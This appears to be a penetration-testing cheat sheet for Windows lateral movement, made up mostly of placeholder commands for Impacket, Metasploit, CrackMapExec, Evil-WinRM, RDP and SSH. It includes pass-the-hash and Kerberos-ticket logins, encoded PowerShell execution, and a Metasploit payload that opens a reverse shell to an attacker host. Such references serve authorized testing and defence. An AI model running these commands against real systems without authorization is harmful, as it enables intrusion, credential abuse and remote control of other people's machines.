# Remote Execution Techniques

## Windows Remote Execution Services

**Service Purpose**: Various Windows services enable remote command execution for administrative purposes, which can be abused for lateral movement.

#### Remote Execution Methods

**PSExec-style Execution**

**Using Impacket PSExec**

```bash
# SMB-based remote execution
python3 psexec.py <domain>/<username>:<password>@<target-IP>
python3 psexec.py -hashes :<NTLM-hash> <domain>/<username>@<target-IP>

# Kerberos authentication
export KRB5CCNAME=<ticket.ccache>
python3 psexec.py <domain>/<username>@<target-IP> -k -no-pass
```

**Using Metasploit PSExec**

```bash
use exploit/windows/smb/psexec
set RHOSTS <target-IP>
set SMBUser <username>
set SMBPass <password>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker-IP>
run
```

**WMI-based Execution**

**Using Impacket WMIExec**

```bash
# WMI remote execution (more stealthy)
python3 wmiexec.py <domain>/<username>:<password>@<target-IP>
python3 wmiexec.py -hashes :<NTLM-hash> <domain>/<username>@<target-IP>

# Semi-interactive shell
python3 wmiexec.py <domain>/<username>:<password>@<target-IP>
```

**Using CrackMapExec WMI**

```bash
# WMI command execution
crackmapexec wmi <target-IP> -u '<username>' -p '<password>' -x "whoami"
crackmapexec wmi <target-IP> -u '<username>' -H <NTLM-hash> -x "powershell -enc <base64-command>"
```

**DCOM-based Execution**

**Using Impacket DCOMExec**

```bash
# DCOM remote execution
python3 dcomexec.py <domain>/<username>:<password>@<target-IP>
python3 dcomexec.py -hashes :<NTLM-hash> <domain>/<username>@<target-IP>

# Specify DCOM object
python3 dcomexec.py <domain>/<username>:<password>@<target-IP> -object MMC20
```

**WinRM-based Execution**

**Using Evil-WinRM**

```bash
# Windows Remote Management
evil-winrm -i <target-IP> -u <username> -p <password>
evil-winrm -i <target-IP> -u <username> -H <NTLM-hash>

# File upload/download capabilities
upload <local-file> <remote-path>
download <remote-file> <local-path>
```

**Using CrackMapExec WinRM**

```bash
# WinRM authentication testing
crackmapexec winrm <target-IP> -u '<username>' -p '<password>'
crackmapexec winrm <target-IP> -u '<username>' -H <NTLM-hash>
```

## Service-Specific Remote Execution

**RDP-based Access**

```bash
# Remote Desktop Protocol
rdesktop <target-IP> -u <username> -p <password>
xfreerdp /v:<target-IP> /u:<username> /p:<password>

# RDP with pass-the-hash (requires specific tools)
# Note: Standard RDP doesn't support PtH directly
```

**SSH-based Access (Windows OpenSSH)**

```bash
# If OpenSSH is installed on Windows target
ssh <username>@<target-IP>
scp <file> <username>@<target-IP>:/path/
```
